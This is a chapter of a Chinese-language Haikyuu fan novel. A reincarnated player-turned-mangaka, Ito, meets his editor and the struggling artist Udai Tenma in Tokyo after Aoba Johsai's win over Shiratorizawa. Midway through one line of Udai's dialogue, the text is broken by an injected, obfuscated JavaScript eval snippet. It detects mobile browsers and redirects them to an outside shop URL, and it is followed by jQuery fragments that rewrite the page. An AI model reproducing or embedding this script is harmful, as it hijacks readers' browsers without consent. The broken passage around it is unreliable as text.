16.


    决赛结束后的第二天，青叶城西排球部全体放假。


    伊藤有弥在早上六点自然醒来，躺在床上盯着天花板看了半分钟，才想起今天不用去晨练。


    身体还保持着比赛日的惯性——肌肉微微紧绷，心跳比平时快一点，关节处传来隐隐的酸痛，是昨天坐在板凳上太久留下的僵硬。


    他翻了个身，把脸埋进枕头里。


    决赛赢了。


    青叶城西赢了白鸟泽。


    他在替补席上坐了整整五局，没有上场。渡算是打满了全场，他的手臂在赛后肿了一圈，但他在场上从未表现出任何退缩的迹象。


    伊藤闭上眼睛，脑海中又浮现出昨天第四局及川那个从底线飞扑出去的救球。


    他的身体几乎与地面平行，手臂在球落地的前一刻将球兜了起来。


    那个球救了青城的命。


    他睁开眼睛，坐了起来。今天不用训练，但他答应了山口，要去一趟东京。


    新干线从仙台站出发的时候，窗外的天空还是灰蒙蒙的。


    五月底的宫城县，梅雨季节前的最后一段晴朗日子，云层很薄，阳光从云缝里漏下来，在田野上投下大片大片的金色光斑。


    伊藤靠窗坐着，手里拿着一本翻开了但没在读的文库本。


    他的思绪还在昨天的比赛上，一遍又一遍地回放着那些关键分的画面。


    车过福岛的时候，手机震动了。是金田一发来的消息。


    “伊藤！你今天真的去东京吗？”


    伊藤回复了一个“嗯”。


    “好羡慕！我也想去！”


    “你不是说要补觉吗？”


    “补完了！好无聊！”


    伊藤嘴角弯了一下，把手机放回口袋。


    三个小时后，新干线驶入东京站。


    五月底的首都已经有些闷热了，车站里的人流比仙台站密集得多，所有人都行色匆匆。


    伊藤背着一个不大的背包，穿着一件深灰色的卫衣，站在八重洲口的出口处，看着来来往往的人群。


    他不太习惯这个城市了。


    穿越前他住在东京，习惯了这里的拥挤、嘈杂和快节奏。


    但在宫城县住了一个多月之后，再回到东京，他忽然觉得这座城市让人有些喘不过气。


    山口在短信里说的集合地点是神保町附近的一家家庭餐厅。


    伊藤坐了两站地铁，出站后步行了大概十分钟，找到了那家店。


    店面的招牌有些褪色，看起来开了很多年了。


    山口已经在里面了。


    他坐在靠窗的位置，面前放着一杯已经喝了一半的咖啡，正在翻看一沓打印出来的读者问卷。


    看到伊藤走进来，他抬起手挥了挥，脸上的笑容很灿烂。


    “小川老师！”山口的声音比电话里还要高一些，带着一种编辑特有的热情，“这边这边！”


    伊藤走过去，在他对面坐下。服务员过来点了单，他只要了一杯热茶。


    “决赛怎么样？”山口问。


    “赢了。”


    “真的？青城赢了白鸟泽？”山口瞪大了眼睛，语气里满是不可思议，“我虽然不太懂排球，但白鸟泽不是连续好几年全国大赛的队伍吗？”


    “嗯。”伊藤说，“但我们赢了。”


    “太厉害了！”山口拍了拍桌子，然后又像是忽然想起了什么，压低声音说，“你昨天没上场？”


    伊藤摇了摇头。


    “可惜。”山口说，“不过你还是一年级嘛，以后有的是机会。”


    伊藤点了点头，没有多说什么。


    山口见他不想继续这个话题，也不再追问，从包里拿出几页纸递过来。


    “这是上周《第二防线》的读者问卷数据，综合排名第七位。”


    伊藤接过纸，扫了一眼上面的数字。第七位。比上周又上升了两位。


    “编辑部的意思是，如果下一话能保持这个势头，彩页的事基本就定下来了。”山口的语气里带着一丝兴奋，“第七位啊，小川老师。你才连载了五话。”


    伊藤放下纸，端起茶杯喝了一口。


    茶有些烫，他吹了吹，又喝了一口。


    “对了，”山口忽然想起了什么，放下手里的杯子，“待会儿还有一个人要来。”


    伊藤抬起头，看着山口。


    “我们编辑部最近在谈一个新作者的合作，也是画漫画的。”山口的表情变得有些微妙，像是在斟酌用词，“他画了好几年了，但一直不太顺利。他的编辑不是我，是隔壁组的。不过我觉得你们应该认识一下。”


    “为什么？”


    山口笑了一下：“因为他也打排球。”


    伊藤还没来得及追问，餐厅的门被推开了。


    走进来的是一个看起来二十出头的年轻男人。


    他穿着一件宽松的米白色卫衣，下面是一条深色的休闲裤，脚上穿着一双看起来很舒服的运动鞋。


    他的头发是黑色的，微卷，长度到了肩膀，用一根细细的皮筋松松地扎在脑后。


    整个人看起来很纤细，皮肤很白，像是常年待在室内不晒太阳的那种白。


    但让伊藤在意的不是这些。


    他认识这张脸。


    宇内天满。


    在漫画中看到的样子和现实中看到的样子完全不同。


    漫画里的宇内天满给人一种“小巨人”的压迫感——即使身材矮小，但站在球场上的气势让人忘记了他的身高。


    而现实中的宇内天满看起来就像是一个普通的大学毕业生，有些柔软，有些安静，甚至在推门进来的时候还有些犹豫，像是在确认自己有没有走错地方。


    但伊藤注意到他的眼睛。


    那双眼睛很亮，和在漫画中看到的一模一样。那是日向翔阳在电视上看到的那双眼睛，是让一个小学生从此爱上排球的那双眼睛。


    “宇内老师！”山口站起来，朝宇内挥手，“这边！”


    宇内走过来，在山口旁边坐下。


    他看了伊藤一眼，目光在他脸上停了一下，然后微微点了点头。


    “你好。”宇内的声音比伊藤预想的要轻，带着一种温和的、不急不慢的节奏，“我是宇内天满。”


    “我是伊藤有弥。”伊藤说，“笔名是小川由里子。”


    宇内眨了眨眼睛，目光里闪过一丝惊讶。


    “你就是《第二防线》的作者？”宇内问。


    “嗯。”


    宇内上下打量了伊藤一眼，然后笑了。


    那笑容很自然，不是客套，而是真的觉得有意思。


    “山口跟我说你是个高中生，但我没想到你看起来这么……”宇内顿了一下，像是在找合适的词，“……普通。”


    伊藤不知道该说什么，只是低下了头。


    “不是贬义。”宇内连忙补充，“我的意思是，你的漫画画得那么好，我以为你会是个更有……呃……艺术气息的人？”


    山口在旁边笑出了声：“宇内老师，你的‘艺术气息’是什么意思？”


    “就是……那种……”宇内比划了一下，“头发很长的？戴着贝雷帽的？”


    “那不是漫画家，那是画家。”山口说。


    “哦。”宇内认真地想了想，“那漫画家应该是什么样的？”


    “就像你这样的。”山口指了指宇内，“穿卫衣，不修边幅，头发永远懒得剪。”


    宇内低头看了看自己的卫衣，又摸了摸自己的头发，露出了一个有些不好意思的笑容。


    伊藤看着两个人的互动，嘴角微微弯了一下。


    他忽然觉得，宇内天满和他在原著中想象的有些不一样。


    原著中的宇内天满是一个传说，是一个遥远的存在，是日向翔阳追逐的目标。


    但现实中的宇内天满就是一个普通人——一个会因为找不到合适的词而卡壳、会因为被调侃而不好意思、会穿着宽松卫衣坐在家庭餐厅里喝咖啡的普通人。


    “对了，”山口收起笑容，转向宇内，“宇内老师，你那边的连载怎么样了？”


    宇内的表情微微变了一下。那个变化很小，但伊藤注意到了。


    他的笑容还在，但嘴角的弧度小了一些，眼睛里的光也暗了一些。


    “啊，那个啊。”宇内拿起桌上的水杯喝了一口，“《僵尸剑士佐比修》，上周的排名……不太理想。”


    山口沉默了一下，然后说：“第几位？”


    宇内没有回答，只是摇了摇头。


    伊藤看着他的表情，忽然觉得有些熟悉——那是他在前世的自己脸上见过很多次的表情。


    是连载被通知腰斩时、是读者问卷连续垫底时、是编辑说“我们可能需要重新考虑一下”时的表情。


    “不过没关系。”宇内抬起头，又笑了。这一次的笑容比刚才用力了一些，像是刻意让自己振作起来，“下一话我会画得更好的。反正我已经被腰斩过好几次了，习惯了。”


    山口看着宇内，欲言又止。


    他最终没有说什么，只是点了点头。


    伊藤坐在对面，安静地听着。


    他没有插话，因为他知道自己没有资格说什么。


    他只是画了五话连载的新人，排名第七位，被编辑部看好，甚至可能拿到彩页。


    而宇内天满画了好几年，被腰斩过好几次，一直在边缘挣扎。


    他不知道该说什么。


    沉默持续了几秒钟。山口打破了僵局。


    “对了，宇内老师，你知道吗？伊藤也是打排球的。”


    宇内转过头，看着伊藤，眼睛里又亮了起来。


    “真的？”


    “嗯。”伊藤说，“青城排球部的。”


    “青城？”宇内重复了一遍这个校名，“就是那个……”


    “昨天赢了白鸟泽的青城。”山口补充道。


    宇内的眼睛瞪大了。


    他盯着伊藤看了两秒钟，然后身体前倾，语气变得认真起来。


    “你昨天在现场？”


    伊藤点了点头。


    “白鸟泽……输了？”宇内的声音有些发紧。


    “嗯。”伊藤说，“三比二。”


    宇内靠在椅背上，长长地呼出一口气。


    他的表情很复杂——不是单纯的惊讶，而是一种混合了感慨、怀念和一些说不清的情绪的复杂表情。


    “我高中的时候，从来没赢过白鸟泽。”宇内说，声音很轻，像是在自言自语，“那时候白鸟泽有牛岛。不对，牛岛那时候应该比我小一届……反正就是很强。我们乌野和白鸟泽打，每次都输。”


    伊藤没有说话。


    他想起原著中宇内天满带领乌野打进全国大赛的故事——那不是靠天才球员，而是靠一群普通人拼尽全力创造出来的奇迹。


    十六强。


    在那个没有牛岛、没有及川、没有影山、没有日向的时代，宇内天满把乌野带到了全国十六强的高度。


    “不过，”宇内忽然笑了一下，“你们赢了白鸟泽。这真的很厉害。”


    伊藤低下头，看着自己面前那杯已经凉了的茶。


    “我没有上场。”他说。


    宇内愣了一下。


    “我坐在板凳上看的。”伊藤说，“一整场，从头到尾。”


    宇内沉默了几秒钟，然后说了一句让伊藤意外的话。


    “那你也参与了。”


    伊藤抬起头，看着宇内。


    “比赛不是只有上场的人才叫参与。”宇内的语气很平静，不是在安慰，而是在陈述一个他深信不疑的事实，“你坐在板凳上，你的存在本身就在影响场上的人。你的队友知道你坐在那里，知道你是他们的一部分，这就够了。”


    伊藤看着他，不知道该说什么。


    “我以前在乌野的时候，”宇内继续说，“板凳上也有很多人。有些人可能三年都没上过场。但他们每天都在训练，每天都在捡球，每天都在喊加油。没有他们，我们不可能打进全国大赛。”


    宇内说完，端起水杯喝了一口，然后像是想起了什么，忽然笑了。


    “而且你现在才一年级。”他说，“我一年级的时候也是板凳。板凳不丢人。”


    山口在旁边插了一句：“宇内老师，你一年级的时候也是替补？”


    “当然啊。”宇内理直气壮地说，“我可是从替补席上看着前辈们的背影长大的。”


    伊藤嘴角弯了一下。


    那顿饭吃了将近两个小时。


    山口中途接了一个电话走开了，留下伊藤和宇内两个人面对面坐着。


    宇内问了很多关于青城和白鸟泽那场比赛的问题。


    他问牛岛的发球是不是真的那么重，问及川的跳发球到底是什么水平，问白鸟泽的拦网体系是怎么运转的，问青城是怎么在二比零落后的情况下连扳三局的。


    他的问题很细，细到伊藤觉得他像是在做排球比赛的复盘分析。


    但伊藤忽然意识到，宇内不是在复盘比赛。


    他是在收集素材。


    作为一个漫画家，他需要这些细节来让自己的作品更加真实。


    “你画的是什么类型的漫画？”伊藤问。


    宇内愣了一下，然后有些不好意思地笑了。


    “僵尸题材的。”他说，“《僵尸剑士佐比修》。就是那种……打打杀杀的热血漫画。”


    “那为什么要问排球的事？”


    宇内想了想，说：“因为打斗场面的分镜和运动漫画的分镜其实是相通的。人物的动作、身体的动态、镜头角度的选择——这些东西不管是什么题材都是共通的。”


    他停了一下，然后补充了一句：“而且我大学就没打排球了，现在的动作分镜都是靠以前打球的记忆。有时候画着画着，就忽然想不起来某个动作到底是什么样的了。”


    伊藤忽然想到了什么。


    “你大学为什么没打了？”


    宇内沉默了几秒钟。


    “没有球队要我。”他说，语气很平静，像是在说一件很久以前就已经接受了的事情，“我身高太矮了。高中还能靠弹跳和速度弥补，到了大学，大家的身体都更强了，我的劣势就更明显了。没有大学球队邀请我，我就……不打了。”


    伊藤看着他，不知道该说什么。


    “然后就开始画漫画了。”宇内笑了一下，“画了好几年，一直被腰斩，但一直在画。”


    “为什么？”


    “什么为什么？”


    “为什么一直画？”


    宇内看着伊藤，沉默了很长时间。


    “因为喜欢吧。”他最终说，声音很轻，“除了画漫画，我也不知道自己还能做什么了。”


    伊藤低下头。


    宇内的话让他想起了前世的自己——那个放弃了排球、拿起画笔的自己。


    他也曾经问过自己同样的问题：为什么一直画？答案和宇内一模一样：因为喜欢。


    除了画画，也不知道自己还能做什么。


    “你呢？”宇内问，“你为什么画排球漫画？”


    伊藤想了想，说：“因为我还在打排球。”


    宇内笑了。


    “那你要好好打。”他说，“把你在球场上看到的、感受到的，都画进漫画里。这种东西是坐在家里凭空想象画不出来的。”


    “我会的。”


    山口打完电话回来的时候，看到两个人还在聊，脸上的表情变得有些微妙。


    “你们聊得挺好的嘛。”山口说。


    “伊藤君懂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465930|201213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    排球。”宇内说，“他画的分镜里那些接球的动作，不是没打过球的人能画出来的。”


    山口点了点头，坐下来，表情变得认真了一些。


    “宇内老师，有件事我要跟你说。”


    宇内看着山口，表情变得有些紧张。


    “《僵尸剑士佐比修》……”山口顿了一下，“下期开始，要缩减篇幅了。”


    餐厅里的空气安静了一瞬。


    伊藤看到宇内的肩膀微微僵了一下。


    但只过了不到一秒钟，他就恢复了那副温和的笑容。


    “缩减到多少？”


    “八页。”


    宇内沉默了一下，然后点了点头。


    “八页也行。”他说，“八页我能画。”


    山口看着宇内，张了张嘴，想说什么，但最终只是叹了口气。


    伊藤坐在对面，看着宇内的表情。


    那笑容还在，但伊藤能看到笑容下面的东西——不是难过，不是沮丧，而是一种“我会继续”的倔强。


    他忽然想起昨天下午，及川在二比零落后的时候，脸上的表情。


    那也是一种“我会继续”的表情。


    不是因为相信一定会赢，而是因为除了继续，没有别的选择。


    宇内天满和及川彻，两个完全不同的人，在不同的战场上，面对着不同的对手，但他们的眼神是一样的。


    吃完饭之后，山口提议去宇内的工作室看看。


    宇内犹豫了一下，然后点了点头。


    他的工作室在神保町附近的一栋老旧公寓楼里，从外面看完全不像是有漫画家在工作的样子。


    楼道很窄，墙壁上贴着褪色的海报，地板是那种老式的拼花瓷砖，踩上去会发出轻微的吱呀声。


    宇内打开门的时候，伊藤闻到了一股熟悉的味道——墨汁、纸张、还有长时间不通风的沉闷气味。这味道和他前世的工作室一模一样。


    房间不大，大概十来平米。


    靠窗的位置放着一张巨大的书桌，桌上铺满了原稿纸、蘸水笔、墨汁和刮网刀。


    靠墙的位置堆着几摞书和杂志，看起来摇摇欲坠。


    角落里放着一张折叠床，床上的被子没有叠，皱巴巴地堆在一起。


    “有点乱。”宇内挠了挠头，有些不好意思，“最近赶稿，没时间收拾。”


    伊藤走到书桌前，低头看着桌上摊开的原稿。


    那是一张打斗场面的分镜，两个角色在空中交错，刀光剑影，动作张力十足。


    但伊藤注意到，在画面的角落里，宇内用铅笔写了几行小字——不是台词，而是一些关于动作逻辑的笔记：“此处的转身不合理，应该是右肩先转”“落地后的重心在左脚，下一格的起跳会别扭”。


    他在画打斗场面的时候，用的是运动分镜的逻辑。


    宇内站在旁边，看到伊藤在看他的原稿，有些紧张地摸了摸后脑勺。


    “画得不太好。”宇内说，“战斗场面的分镜我一直不太擅长。”


    伊藤摇了摇头。


    “不是不好。”伊藤说，“是你在用排球分镜的逻辑画战斗。动作的连贯性、身体的动态、重心转移——这些都是对的。但是战斗和排球不一样的地方在于，战斗有武器、有碰撞、有力量的对冲。你只画了身体的动态，没有画出武器碰撞时的力量感。”


    宇内瞪大了眼睛，盯着伊藤看了好几秒钟。


    然后他猛地转过头，看着自己的原稿，嘴里念念有词。


    “武器碰撞时的力量感……”他重复着伊藤的话，眼睛越来越亮，“你说得对！我一直觉得哪里不对劲，但就是说不上来。原来是因为这个！”


    他一把抓起桌上的铅笔，在原稿上飞快地画了几笔。


    几秒钟后，他把原稿举起来，看着伊藤。


    “这样呢？”


    伊藤看了看。宇内在一格打斗场面中加了几条速度线和冲击波的扩散效果，画面瞬间有了力量感。


    “好多了。”伊藤说。


    宇内长长地呼出一口气，靠在椅背上，笑了。


    “谢谢你，伊藤君。”他说，“今天收获很大。”


    伊藤摇了摇头。


    “是我要谢谢你。”他说。


    宇内歪了歪头，表示不解。


    伊藤没有解释。


    他只是在想，今天见到宇内天满，是他穿越以来做得最正确的决定之一。


    不是因为他从宇内那里学到了什么漫画技巧——虽然确实学到了。


    而是因为他看到了一个人，在不断的失败面前，依然选择继续。


    这种人在漫画里很多。


    但在现实中，很少。


    伊藤离开宇内工作室的时候，已经是下午四点多了。


    他和山口在楼下分别，山口说下周会给他寄新的读者数据，让他保持状态。


    伊藤走在神保町的旧书店街上，五月底的阳光已经没有那么刺眼了，斜斜地照在街道上，把人和建筑的影子都拉得很长。


    他走进一家书店，在漫画区的架子上找了一会儿，找到了那本杂志。


    他翻到《僵尸剑士佐比修》，站在那里看了一遍。


    故事不算差。画功也不算差。


    但伊藤能理解为什么它的人气不高——节奏太慢了，打斗场面的张力不够，主角的性格也不够鲜明。这些都是硬伤，不是靠热情能弥补的。


    但他翻到最后一页的时候，看到了一行小字，是作者的话：


    “感谢各位读者的支持。我会继续努力的。宇内天满”


    他看着那行字，站了很久。


    然后他把杂志放回架子上，走出了书店。


    回宫城县的新干线上，伊藤靠在座位上，看着窗外的景色从城市变成郊外，从郊外变成田野。


    夕阳在远处的山脊上燃烧，天空从橙色渐变到紫色，云层很低，像是伸手就能摸到。


    手机震动了一下。


    是渡发来的消息。


    “今天去东京了？”


    伊藤回复了一个“嗯”。


    “听说你去找编辑了？”


    伊藤愣了一下。他从来没有跟任何人说过自己在画漫画的事。渡是怎么知道的？


    “金田一说的。他说你昨天在车上提到过。”


    伊藤沉默了几秒钟，然后回复：“是。”


    渡没有问他画的是什么漫画，也没有问笔名是什么。他只发了一句话：


    “注意休息。别受伤。”


    伊藤看着那行字，心里涌起一股说不清的暖意。


    渡知道他有自己的事情要做，没有追问，没有好奇，只是提醒他别受伤。这很渡。


    他回复了一个“好”，然后把手机放回口袋。


    窗外，天色已经完全暗了下来。


    新干线的车厢里灯光通明，伊藤靠在座位上，闭上眼睛。


    脑子里有很多画面在交错。


    及川在决赛中飞身救球的背影，渡在赛后握紧拳头又松开的手，国见眼眶里打转却始终没有落下的泪水，金田一赛后大哭到说不出话的样子。


    还有宇内天满坐在工作室里、对着原稿认真思考的侧脸，还有他说“因为喜欢吧”时那种平静的语气。


    这些人都在做同一件事——在自己选择的路上，一步一步地往前走。


    有的路好走一些，有的路难走一些，但他们都没有停下来。


    伊藤睁开眼睛，看着车窗外飞逝的灯光。


    他选择了两条路。排球和漫画。


    一条是他曾经放弃过又重新拾起的路，一条是他一直在走、从未放弃过的路。


    两条路都不容易，两条路都需要他付出全部的时间和精力。


    但他不会停下来。


    因为喜欢。